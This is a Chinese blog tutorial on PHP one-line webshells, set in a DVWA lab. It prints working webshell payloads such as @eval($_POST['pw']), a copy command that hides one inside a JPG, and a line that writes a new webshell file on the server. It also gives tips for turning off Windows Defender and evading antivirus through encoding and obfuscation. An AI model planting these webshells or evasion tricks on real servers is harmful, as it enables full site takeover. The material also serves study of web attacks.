⼀句话⽊马
web安全--⼀句话⽊马
0x00 php预备知识
PHP $_GET
预定义的$_GET变量⽤于收集来⾃method=‘’get“的表单中的值。
从带有GET⽅法的表单发送的信息,对任何⼈都是可见的(会显⽰在浏览器的地址栏),⽽$_GET
就是⽤来收集表单数据的变量,⽽表单域的名称会⾃动变成为$ _GET数组中的键。
例如
发送到服务器的url为
/welcome.php?fname=Shuke&age=3
welcome.php⽂件现在就可以$_GET变量来收集表单数据了
欢迎<?php echo $_GET["fname"]; ?>!<br>//在html中<br>表⽰换⾏,有多少个<br>就表⽰换多少⾏。
你的年龄是<?php echo $_GET["age"]; ?> 岁
得到的结果显⽰为
欢迎shuke!
你的年龄是3岁
PHP $_POST
在PHP中,预定的$_POST⽤于收集来⾃method="post"表单中的值
跟GET相反,POST⽅法发送的表单对任何⼈都是不可见的,当然也不会显⽰在浏览器地址栏的url中,⽽$_POST就是⽤来收集⽤POST⽅法发送的表单数据的变量,⽽表单域的名称会⾃动变成为
$ _POST数组中的键。
例如
form.html⽂件代码如下
<html>
<head>
<meta charset="utf-8">
<title>xxxxx</title>
</head>
<body>
<form action="welcome.php" method="post">
名字: <input type="text" name="fname">
年龄: <input type="text" name="age">字符串函数strip作用
<input type="submit" value="提交">
</form>
</body>
</html>
提交时,url显⽰为
/welcome.php
welcome.php⽂件现在就可以$_POST变量来收集表单数据了
欢迎<?php echo $_POST["fname"]; ?>!<br>
你的年龄是<?php echo $_POST["age"]; ?> 岁
得到的结果显⽰为
欢迎shuke!
你的年龄是3岁
$_REQUEST变量
包含$_GET _POST _COOIKE的内容,可收集通过POST或GET发送的的表单数据
eval()函数
要点:eval()函数把字符串作为PHP代码执⾏。
<?php eval("echo 'a'");?>
那么这句话其实就是执⾏
<?php echo 'a';?>
@符号
@表⽰后⾯即使执⾏错误,也不报错。
0x01 基本原理
那么组合⼀下上述提到的两个语句,⼀个符号
<?php @eval($_POST['pw']);?>//因为这⼀句话,windowsdefender⼜删除了。我敲
其含义就为执⾏$_POST('pw'),也就是⽤post发放接受post请求中变量pw中的值,但是这个pw的是未定义的,客户端是有可能会报错的,那么@符号的⽤途就出现了,屏蔽错误使其继续执⾏。
那么这个pw⾥就可传⼊我们任何想要代码,我们想要执⾏什么代码往pw⾥⼀放,再⽤post⼀传输,这段代码就在服务器⾥跑起来了。tip:如果想执⾏cmd命令则⽤exec()函数。
0x02 使⽤前提
php配置⽂件php.ini⾥,关掉安全模式safe_mode = off,然后再看看禁⽤函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec(有些cms为了⽅便处理某些功能,会去掉的)。
0x03 模拟⼩演练
在DVWA环境下,先把安全度调最低,看下它的描述----最低限度,最脆弱的安全策略,根本没有任何安全措施。糟糕安全编码的绝佳⽰例仅作为学习最基本的攻击⽅法的平台。
好家伙,没任何防御措施,那直接上web-shell
<?php eval($_POST['pw']);?>
遇到了⼀点问题,被windows-defender删了,windows-defender还是有东西啊。这就涉及到后⾯的防查杀。先把它关掉,后⾯具体学习了再尝试绕过。好家伙,连记事本⾥的⼀句话都给我删了。
所以我们删掉之后再操作。
成功拿到webshell,⽂件全都可操作可读,当然是对Windows⽽⾔,甚⾄是整个电脑的磁盘存储。
0x04 图⽚⽊马
medium等级下,要求上传后缀为xxx的⽂件,很简单,改后缀就完事了
但是对于DVWA平台下的high级别的security等级,先查看⼀下描述:
其源代码为
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path  = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file  = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file  =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file    = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
>
有点长,其关键部分。除了前⾯的检查后缀,还多了⼀个函数getimagesize()
关于函数getimagesize():
getimagesize() 函数⽤于获取图像⼤⼩及相关信息,成功返回⼀个数组,失败则返回 FALSE 并产⽣⼀条 E_WARNING 级的错误信息,为PHP函数。
所以这⾥我们真的要上传⼀个图⽚⽊马了。所以我们要将上传的图⽚伪装成图⽚,利⽤copy命令将⼀句话⽊马⽂件和图⽚⽂件合并。
在cmd中输⼊如下命令,将图⽚与⽊马复合。
copy mountains.jpg/b+mumaaaa.php/a hack.jpg //b表⽰⼆进制⽂件,a则表⽰ASCII码⽂件
得到如下结果
查看其⼆进制⽂件,发现已在⽂末
这⾥后续能上传,但是⽆法⽤蚁剑连接。
这⾥涉及到⼀个DVWA⽂件上传漏洞,使⽂件上传后能⽣成webshell。使⽤如下新的php语句,在访问上传后该⽂件的路径会⽣成⼀句话脚本⽂件muma.php
<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST['cmd']);?>'); ?>
得先搁置⼀下,这⾥的难度⼀直为impossible,暂时改不了⾼等难度。
说下下⾯的⼤致流程,注⼊后访问上传后得url,⽣成新⽊马,再⽤菜⼑连。
0x05 ⽊马免杀
⽊马在上传之初就被Windows defender给⼲掉了,要是不关掉,上⾯得实验根本完成不了,所以⽊马免杀是⼀个很重要的技巧,攻击者要会各种各样得免杀技巧。确保⽊马能成功上传,也能在定时查杀中不会被⼲掉。防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全⼈员⽴马将这玩意⼉放⼊⿊名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。
下⾯仅仅列举⼀部分免杀技巧,还有待深⼊。
将源代码进⾏再次编码
将⼀句话⽊马进⾏base64编码,存放在乱七⼋糟得代码之中。
对⼀句话⽊马进⾏变形,对数组中得键值进⾏变形。
0x06⼤马与⼩马
⼩马和⼤马都是⽹页类型中的⼀种后门,是通过⽤来控制⽹站权限的,那最主要的区别就是⼩马是⽤来上传⼤马的。通过⼩马上传⼤马,这时候有个疑问了,那不是多此⼀举了,为什么要⽤⼩马来上传⼤马,⽽⼲嘛不直接上传⼤马⽤好了。其实这⾥是因为⼩马体积⼩,有⽐⼤马更强的隐蔽优势,⽽且有针对⽂件⼤⼩上传限制的漏洞,所以才有⼩马,⼩马也通常⽤来做留备⽤后门等。
⽹页⼩马
⼩马体积⾮常⼩,只有2KB那么⼤,隐蔽性也⾮常的好,因为⼩马的作⽤很简单,就是⼀个上传功能,就没有其它的了,它的作⽤仅仅是⽤来上传⽂件,所以也能过⼀些安全扫描。⼩马是为了⽅便上传⼤马的,因为很多漏洞做了上传限制,⼤马上传不了,所以就只能先上传⼩马,再接着通过⼩马上传⼤马了。⼩马还可以通过与图⽚合成⼀起通过IIS漏洞来运⾏。
⽹页⼤马
⼤马的体积就⽐较⼤了,通常在50K左右,⽐⼩马会⼤好多倍,但对应的功能也很强⼤,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都⾮常强⼤。这种⼤马⼀旦⽹站被种了,⽹站基本就在这个⼤马控制之中。⼤马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。
0x07webshell
webshell根据脚本可以分为PHP脚本⽊马,ASP脚本⽊马,也有基于.NET的脚本⽊马和JSP脚本⽊马。在国外,还有⽤python脚本语⾔写的动态⽹页,当然也有与之相关的webshell。 webshell根据功能也分为⼤马、⼩马和⼀句话⽊马

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。